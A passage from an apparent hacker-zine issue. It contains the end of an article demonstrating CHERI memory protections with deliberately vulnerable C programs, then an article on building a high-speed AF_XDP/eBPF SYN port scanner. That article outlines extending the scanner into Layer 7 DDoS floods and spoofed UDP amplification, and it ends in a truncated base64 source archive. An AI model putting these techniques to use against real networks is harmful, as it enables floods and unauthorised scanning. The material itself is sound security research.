craftier in our vulnerable program. Instead of writing out-of-bounds, what if we intentionally write a program that let's us modify a pointer. While this program might look silly, I expect many people reading this have found themselves in a situation where their only primitive was being able to partially overwrite a pointer. I'm going to call this file `partial.c`. ``` #include <stdio.h> #include <string.h> void __attribute__((noinline)) some_func(void) { printf("inside some_func()\n"); } int main(int argc, char** argv) { void (*func_ptr)(void) = &some_func; if (argc >= 2) { strcpy((char*)&func_ptr, argv[1]); } printf("Calling `func_ptr()` @ %#p\n", func_ptr); func_ptr(); return 0; } ``` Building this from our `vuln` directory with `./build.sh partial.c partial` and hopping back into the CheriBSD VM, we can start exploring. This time around, we'll explicitly keep our inputs small to avoid triggering an out- of-bounds write. The size of `func_ptr` itself will be 16 bytes (because it's a capability), so the capability `&func_ptr` that gets passed to `strcpy()` will have a bounds of 16 bytes. Therefore we should keep our inputs smaller than this to make sure we're exploring new functionality and not running into the same crash that we had with `stack`. Before diving straight in, let's think for a moment about what kind of crash we should expect based on our current understanding. As explained above, as long as we keep our inputs less than 16 bytes, we won't run into the same error as with `./stack`. In fact, we should expect that the call to `strcpy()` should return without any drama. However, the `strcpy()` isn't without its importance this time around because it will have written to a capability which we will then dereference by calling `func_ptr()` at the end of `main()`. If the memory controller is doing what it's supposed to, then it will have cleared the tag bit from the capability corresponding to `func_ptr` when `strcpy()` overwrites part of it. Okay, enough hypothesising - let's run this without an argument to see the `func_ptr` capability before it gets overwritten. ``` root@cheribsd-morello-purecap:~/vuln # ./partial Calling `func_ptr()` @ 0x1108b1 [rxR,0x100000-0x130c80] (sentry) inside some_func() ``` So the `func_ptr` capability has a value of `0x1108b1`, is valid for the bounds `0x00000-0x130c80` and can be used to both read and fetch bytes (the lower-case "rx") as well as read capabilities (the upper-case "R"). Now let's run `partial` again but this time with an argument: ``` root@cheribsd-morello-purecap:~/vuln # ./partial A Calling `func_ptr()` @ 0x110041 [rxR,0x100000-0x130c80] (invalid,sentry) In-address space security exception (core dumped) ``` Aha! Notice how the low bytes of the value field changed from `0xb108` to `0x4100` - the "A" (followed by a NUL) we passed as an argument successfully overwrote the capability, but the tag bit got cleared in the process. Notice how the `%#p` specifier helpfully adds the word "invalid" to the formatting of the `func_ptr` capability now. If we wanted to, we could overwrite the entirety of the `func_ptr` capability and STILL not be able to prevent the tag bit from being cleared. No matter what we do in this example, modifying the capability using user input, forces the capability to be treated as data. In summary, the CPU once again threw an exception at us, but this time it was ultimately because we tried to dereference the capability in `pcc` (remember - this is the CHERI version of `pc`) after the tag bit had been cleared. We were able to successfully return from `strcpy()` because we didn't overflow the bounds of the capability that was used to write to the `func_ptr` object. However, in doing so, the memory controller cleared the corresponding tag bit for the `func_ptr` capability, meaning that it was no longer valid! When we then tried to call `func_ptr()`, `pcc` still gets set to the now invalid capability, but as soon as the CPU tries to fetch an instruction from the address that `pcc` now points to, the exception gets thrown. Pretty cool, huh? Hopefully these two examples demonstrate how CHERI can help to mitigate two very common avenues of attack that academics refer to as "spatial memory safety issues". Here, "spatial" refers to the fact that we're modifying memory that we're not supposed to, "beyond the space/region that the program expects". At this point, it's worth mentioning something that's missing from this picture - if you've been following along at home you might have already noticed it. If you run the second example above a few times *without passing any argument*, you'll see the address of `some_func` printed out a few times. Notice anything strange? That's right - there's no ASLR on this system. The thought behind this appears to be that because you can't forge capabilities, why does the memory layout need to be randomised at all? Does knowing the virtual memory locations of *anything* help you anymore with regards to exploitation? Are information leaks still a concern (assuming you're only leaking capabilities)? If you know anything about academics, then you're probably suspecting that labeling something as "spatial memory safety" means that there's another type of memory safety to think about. In our case, we should also consider "temporal memory safety issues". These are vulnerabilities that occur when the contents of memory changes at different times in ways that the programmer didn't intend, and therefore the *program* doesn't expect. Think of things like use-after-free, or perhaps even type-confusion. Personally, I'm not a fan of categorising memory corruption issues into these two camps because I feel like there's too much grey area, but we'll proceed with it for now as it's what the CHERI literature uses. ### Use-After-Free If you've written a UAF exploit or similar in the past, then you'll know that exploits in this realm depend heavily on the allocator due to the objects of interest being on the heap (objects on the stack are typically more "permanent" so are drastically less likely to have their contents switched out from under the program's nose during execution). A CHERI system is no exception and temporal memory protections come from the use of a "CHERI-hardened" allocator [4]. The current research in this field describes an allocator that employs a concept referred to as "quarantining" to protect freed allocations from being reused. The idea of a quarantining allocator is reasonably straightforward: when a heap chunk is freed, it goes into a quarantine list where it cannot be re-allocated. Later, the quarantine list can be cleaned up by removing the tag bit from all the capabilities in the list before returning them to the pool of free chunks. In my view, I don't quite see why this idea of quarantining should be preferred over zeroing memory as part of the free operation as this would also have the added benefit of removing the tag bit from any capabilities that were contained *within* the allocation (for example, if a struct containing function pointers was allocated on the heap) and therefore preventing legitimate capabilities from possibly being re-used at a later time. Perhaps the reasoning is to do with memory latency again and the cost of zeroing arbitrarily large memory regions during `free()`. Let's see an example of the quarantining allocator in action: ``` #include <stdio.h> #include <stdlib.h> int main(void) { void* ptr = NULL; ptr = malloc(64); printf("ptr @ %#p\n", ptr); free(ptr); ptr = malloc(64); printf("ptr @ %#p\n", ptr); free(ptr); return 0; } ``` On a non-CHERI system, we'd typically expect to see the same address printed each time for `ptr`, despite the fact that we've free'd and malloc'd in between the calls to `printf`. However, in our CheriBSD VM, we see: ``` root@cheribsd-morello-purecap:~/vuln # ./heap1 ptr @ 0x40c0f000 [rwRW,0x40c0f000-0x40c0f040] ptr @ 0x40c0f040 [rwRW,0x40c0f040-0x40c0f080] ``` Notice how the `ptr` capability changes - in fact the second capability is always 64 bytes after the first. This is because, despite freeing `ptr`, the memory it pointed to has been quarantined. The next time we try to allocate something, we get the next free *non-quarantined* chunk which happens to be immediately after the first chunk that we got. How does any of this affect exploitation? Well, let's try to concoct a very simple use-after-free example to see if and how CHERI complains to us: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char* ptr1 = malloc(64); strcpy(ptr1, "CHERI1"); free(ptr1); /* Leave this commented out for, we'll come back to it afterwards */ //malloc_revoke(); char* ptr2 = malloc(64); strcpy(ptr2, "CHERI2"); free(ptr2); printf("ptr1 @ %#p => %s\n", ptr1, ptr1); printf("ptr2 @ %#p => %s\n", ptr2, ptr2); return 0; } ``` On a non-CHERI system, the behaviour of the above program depends on the allocator. On my host system, the addresses allocated for both `ptr1` and `ptr2` are the same, but contain junk data by the time `printf` is called. On a different system with a different allocator, the strings `CHERI1` and `CHERI2` might still be present. However, in the CheriBSD VM, we see: ``` root@cheribsd-morello-purecap:~/vuln # ./heap2 ptr1 @ 0x40c0f000 [rwRW,0x40c0f000-0x40c0f040] => CHERI1 ptr2 @ 0x40c0f040 [rwRW,0x40c0f040-0x40c0f080] => CHERI2 ``` In particular, notice how `ptr1` and `ptr2` DO NOT have the same value despite `ptr2` being allocated after `ptr1` was freed. This is the quarantining allocator at work again. Notice also that the `CHERI1` and `CHERI2` strings are still in place. This tells us that the call to `free()` *doesn't clear the tag bit from the pointers that are passed to it*. If we now uncomment the call to `malloc_revoke()` between the two allocations, we get a very different result: ``` root@cheribsd-morello-purecap:~/vuln # ./heap2 In-address space security exception (core dumped) ``` Uh, oh - something went wrong. Let's take a look in GDB to see what happened. ``` root@cheribsd-morello-purecap:~/vuln # gdb -q ./heap2 heap2.core Reading symbols from ./heap2... [New LWP 100064] Core was generated by `./heap2'. Program terminated with signal SIGPROT, CHERI protection violation. Capability tag fault. #0 strlen (str=0x40c0f000 [rwRW,0x40c0f000-0x40c0f040] (invalid) "CHERI2") at /home/user/cheri/cheribsd/lib/libc/string/strlen.c:143 ``` So what did that `malloc_revoke()` function do? This is a function provided by the CHERI SDK that forces a cleanup of the quarantine list in the allocator. This means that the capability corresponding to `ptr1` has its tag bit cleared. From the CHERI man pages [5], `malloc_revoke()` "triggers a full flush of the quarantine and scan of memory to ensure that all references to memory previously quarantined by free(3) or realloc(3) are revoked upon successful return". Ultimately, we can see that `strlen()` was called (presumably by `printf()` due to the `%s` format specifier) with an invalid capability. ## Where next? I hope you've enjoyed this figurative toe-dip into CHERI both as a concept, and also after getting our hands dirty with some solid examples. Personally, I think the platform has some solid design ideas that will certainly make classic exploitation techniques harder. I'm hesitant to say that any of those existing techniques have been rendered obsolescent because, as far as I'm aware, CHERI is yet to be battle tested as a security mechanism on a target that's of significant interest to exploit developers; like a flagship smartphone or a games console. If you'd like to dive deeper into CHERI, then I recommend checking out the Morello documentation more closely [2]. There's also the "CHERI Exercises" repo on GitHub [6] by the CHERI team at Cambridge University which highlights more scenarios where CHERI introduces new complications for exploit writers. This article should give you a solid foundation to be able to tackle those exercises. Remember that CHERI doesn't stop at Morello with Aarch64! CHERI specifications also exist for MIPS and RISC-V, with x86_64 in the works too. In particular, there is the CherIoT (CHERI Internet-Of-Things) project [7] which uses the RISC-V CHERI extension to power an IoT platform. This project makes extensive use of the compartmentalisation feature of CHERI that I briefly mentioned earlier in the article. This is a method of process isolation using sealed capabilities without having to separate processes into different memory spaces. It's also worth taking a look at the output of `./cheribuild.py --list-targets` - there are already build definitions for things like Apache, Nginx, KDE Plasma, Wayland, FFmpeg, and even DOOM! ## Closing Thoughts First of all, if you've made it this far - thank you! I hope you found this read worth your time and that you learnt something - even if it was just to scratch that itch to understand a little better what this CHERI thing is all about. That's certainly why I chose to take a look at it. If CHERI takes off in the consumer space in the future, I think bug hunters and xdevs alike will enjoy the new challenged posed by it. And if it doesn't take off, then it will still remain an interesting experiment that we can continue to play with in VMs. Obligatory shoutouts go to netspooky, dnoiz, hermit, gren, srsns, bane, remy, computeruser, zeta, chill, buses, rqu, iximeow, ilya, kyo and The Binary Golf Association (you should go play Binary Golf [8]). ## Links and References [1] https://www.arm.com/architecture/cpu/morello [2] https://developer.arm.com/documentation/ddi0606/ak [3] https://github.com/CTSRD-CHERI/cheribuild [4] https://ctsrd-cheri.github.io/cheribsd-getting-started/features/ temporal.html [5] https://man.cheribsd.org/cgi-bin/man.cgi/dev/malloc_revoke_enabled.3 [6] https://github.com/CTSRD-CHERI/cheri-exercises/tree/master [7] https://cheriot.org/ [8] https://binary.golf/ |=-----------------------------------------------------------------------=| |=-------------=[ 5 - High-Performance Network Scanning ]=---------------=| |=-------------------------=[ With AF_XDP ]=-----------------------------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ c3l3si4n ]=------------------------------=| |=-----------------------------------------------------------------------=| -- Table of contents 0 - Introduction 1 - The Slow Path: Traditional Scanning Methods 1.0 - Per-Connection Syscall Overhead 1.1 - Inefficient Packet Filtering with AF_PACKET 2 - Kernel Bypass and Fastpath Architectures 2.0 - Full Kernel Bypass: DPDK 2.1 - The Kernel Fastpath: XDP 2.2 - XDP Internals: Actions and Modes 2.3 - AF_XDP: A Zero-Copy Bridge to Userspace 3 - Building the Scanner 3.0 - Core Design 3.1 - The eBPF Filter Component 3.2 - The Userspace Application 3.2.0 - Setup and Initialization 3.2.1 - The Packet Transmission Loop 3.2.2 - The Packet Reception Loop 4 - Performance Analysis 4.0 - A Note on Benchmarking 4.1 - Head-to-Head: AF_XDP vs. masscan 5 - Extending the AF_XDP Framework 5.0 - High-Speed HTTP/HTTPS Application Fuzzing and L7 DDoS 5.1 - Stateless UDP Fuzzing and DDoS Amplification 5.2 - High-Entropy SYN Flooding 6 - Caveats and Considerations 7 - Conclusion 8 - References 9 - Source Code --[ 0 - Introduction The network scanner has always been a fundamental tool in my arsenal. As network interface speeds have increased, I found my tools were constrained by the overhead of the operating system's kernel network stack. This has become a significant bottleneck when doing internet-scale scans. In this article, I describe the method I used to build a high-performance port scanner using the Linux kernel's eBPF and AF_XDP subsystems. This approach creates a kernel fastpath that bypasses the traditional network stack, allowing my application to interact more directly with the network driver for line-rate filtering and zero-copy data transfer. --[ 1 - The Slow Path: Traditional Scanning Methods ---[ 1.0 - Per-Connection Syscall Overhead My work began by analyzing the conventional port scanning method, which uses the connect() syscall. For each port, the application creates a socket, initiates a TCP handshake, and waits for the kernel to report the outcome. Every socket() and connect() call is a context switch into the kernel, consuming CPU cycles and introducing significant latency, making it impractical for my purposes. ---[ 1.1 - Inefficient Packet Filtering with AF_PACKET I then examined raw sockets (AF_PACKET), which allow a userspace application to receive raw link-layer frames, bypassing the kernel's high-level network stack. While this is an improvement for SYN scanning, it does not provide the performance of a true kernel bypass. Packets are still delivered via the standard kernel data path, which involves overhead from context switches and memory copies for every packet received by the interface. This inherent slowness compared to a direct kernel bypass was unacceptable for my goals. --[ 2 - Kernel Bypass and Fastpath Architectures ---[ 2.0 - Full Kernel Bypass: DPDK To achieve maximum performance, some frameworks like the Data Plane Development Kit (DPDK) implement a full kernel bypass. They use custom Poll-Mode Drivers (PMDs) that unbind a network interface from the kernel's control, giving a userspace application exclusive access. While this is very fast, it comes with drawbacks: it requires custom drivers, is invasive to the system, and often requires pinning a CPU core at 100% utilization for polling. ---[ 2.1 - The Kernel Fastpath: XDP It is important to clarify that AF_XDP is not a kernel bypass in the same vein as DPDK. It is a highly efficient kernel fastpath that works in cooperation with existing kernel drivers. My XDP program is an eBPF program attached to a low-level hook in the network driver, triggered for every incoming packet at the earliest possible point. ---[ 2.2 - XDP Internals: Actions and Modes Once my eBPF program is running at the XDP hook, it can inspect the raw packet data and return a verdict that determines the packet's fate. The primary actions are XDP_PASS, XDP_DROP, XDP_TX, and XDP_REDIRECT. The XDP_REDIRECT action is what allows my program to forward a packet to an AF_XDP socket in userspace. You can load XDP programs in three modes, which affects performance: - Native XDP: The program is loaded directly by a supported network card driver, providing the highest performance. - Offloaded XDP: The program is offloaded to and executed directly on the NIC hardware, requiring specific SmartNICs. - Generic XDP: The program is hooked later in the kernel's network path, after an sk_buff has been allocated. This mode serves as a fallback for testing or for use on unsupported hardware. ---[ 2.3 - AF_XDP: A Zero-Copy Bridge to Userspace AF_XDP is the kernel feature I used to create a high-performance data path between my XDP program and my userspace application. This is achieved through a shared memory region called a UMEM, which I allocate in userspace and register with the kernel. This UMEM is where all my packet data lives. The communication is orchestrated by a set of four single-producer, single- consumer rings: - RX Ring: The kernel places descriptors here for incoming packets that my XDP program has redirected. - TX Ring: I place descriptors here for packets I want to send. The kernel picks them up and transmits them. - FILL Ring: I place descriptors for empty UMEM frames on this ring to give the buffers to the kernel for receiving new packets. - COMPLETION Ring: After the kernel has sent a packet from my TX ring, it places the descriptor on this ring to signal that the UMEM frame can be reused. This architecture allows me to shuttle packets back and forth with the NIC driver while minimizing memory copies and context switches. --[ 3 - Building the Scanner ---[ 3.0 - Core Design My demonstration scanner is composed of two primary components: an eBPF+XDP filter in C and a userspace packet sender in Go. The core design separates the logic for efficiency. My eBPF filter is loaded onto the NIC to inspect incoming TCP packets and redirect only the replies relevant to the scanner. My Go application then manages the AF_XDP socket, populates the FILL ring, sends SYN packets via the TX ring, and processes the replies from the RX ring. This division of labor places the performance-critical filtering in the kernel, while I handle the more complex state and I/O logic in userspace. ---[ 3.1 - The eBPF Filter Component My eBPF code is designed for efficiency and simplicity. -------------------------------------------------------------------------- // file: bpf/xdp_filter.c #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h> // This MUST match the -srcport flag in my Go program. #define FILTER_PORT 54321 // Map to hold the file descriptor of my AF_XDP socket. struct { __uint(type, BPF_MAP_TYPE_XSKMAP); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32)); __uint(max_entries, 1); } xsks_map SEC(".maps"); SEC("xdp") int xdp_port_filter(struct xdp_md *ctx) { void *data_end = (void *)(long)ctx->data_end; void *data = (void *)(long)ctx->data; struct iphdr *ip = data + sizeof(struct ethhdr); struct tcphdr *tcp; if ((void*)ip + sizeof(*ip) > data_end) return XDP_PASS; if (ip->protocol != IPPROTO_TCP) return XDP_PASS; tcp = (void *)ip + ip->ihl * 4; if ((void *)tcp + sizeof(*tcp) > data_end) return XDP_PASS; if (tcp->dest == bpf_htons(FILTER_PORT)) return bpf_redirect_map(&xsks_map, 0, 0); return XDP_PASS; } -------------------------------------------------------------------------- ---[ 3.2 - The Userspace Application The PoC Go application orchestrates the entire scanning process. ----[ 3.2.0 - Setup and Initialization Before any packets fly, a sequence of setup steps must be performed. First, I parse the arguments for the interface, targets, and ports. Then, I load my compiled xdp_filter.o program and attach it to the specified interface. The core setup involves creating the AF_XDP socket, then allocating and registering the UMEM via the XDP_UMEM_REG setsockopt call. Following that, I set the sizes of the four rings and mmap them into my application's address space. With the socket ready, I register its file descriptor into the eBPF map so the kernel knows where to redirect packets. Finally, since my tool operates at Layer 2, I must manually resolve the gateway's MAC address via ARP. ----[ 3.2.1 - The Packet Transmission Loop Instead of sending packets one by one, we can send packets in large batches to amortize the cost of syscalls. -------------------------------------------------------------------------- // file: cmd/portscanner/main.go (conceptual) // A template packet is pre-crafted to avoid building from scratch every time packer, _ := newSynPacker(srcMAC, gatewayMAC, srcIP, srcPort) // Ensure COMPLETION ring is checked to reclaim UMEM frames for reuse check_completion_ring_and_refill_umem(); for outstandingCount > 0 { numFree := xsk.NumFreeTxSlots() if numFree > 0 { descs := xsk.GetDescs(min(numFree, BATCH_SIZE), false) for i := range descs { target := getNextTarget() frame := xsk.GetFrame(descs[i]) // Pointer to shared memory packer.pack(frame, target.ip, target.port, randomSeq()) descs[i].Len = pktLen } xsk.Transmit(descs) } } -------------------------------------------------------------------------- ----[ 3.2.2 - The Packet Reception Loop My receive loop, running in a dedicated goroutine, can be simple because the eBPF program has already handled the filtering. -------------------------------------------------------------------------- // file: cmd/portscanner/main.go (conceptual) // Pre-populate the FILL ring with available UMEM frames populate_fill_ring(); for { numRx, _, err := xsk.Poll(10) // 10ms timeout if numRx > 0 { rxDescs := xsk.Receive(rxDescs) for _, desc := range rxDescs { frame := xsk.GetFrame(desc) ip, port, status := processPacket(frame) if status == "open" || status == "closed" { updateStatus(ip, port, status) } } // Return the now-empty frame descriptors to the kernel's FILL ring xsk.Fill(rxDescs) } } -------------------------------------------------------------------------- --[ 4 - Performance Analysis ---[ 4.0 - A Note on Benchmarking To validate this architecture, a performance comparison is necessary. I chose masscan as the benchmark, as it represents the gold standard for high-speed, internet-scale scanning. It must be stated that masscan is a mature, highly-tuned project. It has years of optimization in its custom networking code and supports advanced kernel-bypass techniques such as PF_RING with DNA drivers. This driver DMAs packets directly from user-mode memory to the network driver with zero kernel involvement, allowing it to transmit at the maximum rate the hardware allows. Therefore, the goal here is not to "beat" masscan, but to determine if an AF_XDP-based tool, even as a proof-of-concept, can be competitive and where its architectural strengths lie. The benchmark consists of two scenarios: a high-density scan against a single host (45.33.32.156) on all 65,535 ports, and a wide-range scan against a /9 network (8.3 million IPs) on a single port. ---[ 4.1 - Head-to-Head: AF_XDP vs. masscan A critical factor in masscan's design is a built-in 10-second delay at the end of each scan to receive late-arriving packets. -------------------------------------------------------------------------- rate: 0.00-kpps, 100.00% done, waiting 10-secs, found=3 ~ -------------------------------------------------------------------------- When this delay is factored out to compare raw transmission times, the results are revealing. For the wide-range /9 scan, masscan clocked in at 69.2 seconds total, meaning its active scanning time was only ~59.2 seconds. -------------------------------------------------------------------------- real 1m9.174s -------------------------------------------------------------------------- My XDP scanner completed the same task in 68.3 seconds. In this scenario, where the bottleneck is spread across millions of IPs, masscan's years of optimization give it a clear edge. However, the high-density scan against a single host tells a different story. Here, masscan's active scanning time was ~2 seconds (12 seconds of total time minus the 10-second delay). -------------------------------------------------------------------------- real 0m12.163s -------------------------------------------------------------------------- My AF_XDP scanner finished in just ~1.3 seconds. ~ The victory for the AF_XDP scanner here was not just in speed, but also in accuracy. My scanner consistently identified all four open ports on the target in every run: -------------------------------------------------------------------------- OPEN: 45.33.32.156:22 OPEN: 45.33.32.156:9929 OPEN: 45.33.32.156:80 OPEN: 45.33.32.156:31337 -------------------------------------------------------------------------- In contrast, masscan's high rate caused it to miss ports, finding a different number of open ports on different runs: -------------------------------------------------------------------------- 1st scan: 0.00-kpps, 100.00% done, waiting 0-secs, found=3 2nd scan: 0.00-kpps, 100.00% done, waiting 0-secs, found=2 -------------------------------------------------------------------------- This outcome directly validates the AF_XDP architecture. The performance gains are a result of several combined optimizations. The kernel-level eBPF filter drops unwanted traffic at the earliest possible point. The zero-copy UMEM and batched ring operations nearly eliminate syscall overhead. This is why the PoC excels in the high-density test: the per-packet overhead is so low that it can saturate a single target more effectively and reliably than a tool tuned for internet-wide distribution. While the XDP scanner is just a proof-of-concept, it shows that with further development, this architecture holds potential. --[ 5 - Extending the AF_XDP Framework ---[ 5.0 - High-Speed HTTP/HTTPS Application Fuzzing and L7 DDoS The architecture developed for this scanner serves as a foundation for other high-performance network applications, particularly for security research and testing. The framework can be extended to handle stateful protocols by implementing a TCP stack in userspace. This involves managing sequence numbers, ACKs, windowing, and state transitions. This userspace TCP stack then serves as a transport layer for higher-level protocols. To interact with HTTPS services, a TLS library (e.g., OpenSSL) can be integrated by redirecting its I/O from kernel sockets to the userspace TCP stack. In OpenSSL, this can be done using a custom BIO (Basic I/O abstraction). The BIO_read and BIO_write callbacks would then interface with the userspace TCP stack's send/receive buffers, not with read() or write() syscalls. With such a setup, you could use AF_XDP to create a high-speed application-layer fuzzer. For content discovery, one could pipeline a massive number of fuzzed HTTP requests over multiple, persistent HTTPS connections, achieving a request-per-second rate far higher than conventional tools like ffuf or gobuster. This same capability can be used for Layer 7 DDoS attacks, exhausting resources by flooding it with the highest RPS you can achieve. ---[ 5.1 - Stateless UDP Fuzzing and DDoS Amplification UDP protocols are an even simpler target due to their stateless nature. For these, the packet crafting engine can be adapted to fuzz any UDP service or execute DDoS reflection/amplification attacks by spoofing the source IP and generating requests at a massive rate. There's no complex state to maintain, just packet generation. This lays the foundation that creating AF_XDP programs to interact with UDP protocols is architecturally easier to implement. Several tools already use this concept to bruteforce DNS records in a faster way for example (e.g sanicdns, pugdns). --[ 6 - Caveats and Considerations This approach has several requirements and trade-offs. Root privileges are mandatory to load eBPF programs and create AF_XDP sockets so you wouldn't be able to use it on a unprivileged session. The implementation complexity is high, as your application is now responsible for everything from ARP resolution to MAC address management. Performance is also heavily reliant on having a modern kernel and a NIC driver that supports native AF_XDP and since that's a relatively recent feature on the kernel, you won't be able to run it on any system. --[ 7 - Conclusion By combining the filtering capabilities of eBPF at the XDP hook with the zero-copy architecture of AF_XDP, it is possible to build network applications that far exceed the performance of traditional socket-based programs. My port scanner serves as a practical example of this paradigm. Unlike full bypass frameworks, AF_XDP provides a more universal and less invasive path to high-performance packet processing by integrating cooperatively with the mainline Linux kernel. The same principles that enable my rapid network scanning also provide a foundation for security research and attack tools. --[ 8 - References [0] BPF and XDP Reference Guide - https://docs.cilium.io/en/stable/bpf/ [1] AF_XDP Documentation - https://www.kernel.org/doc/html/latest/networking/af_xdp.html [2] DPDK (Data Plane Development Kit) - https://www.dpdk.org/ [3] GoPacket - A Go library for packet crafting - https://github.com/google/gopacket --[ 9 - Source Code # base64 -w 75 xdp.tar.gz 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 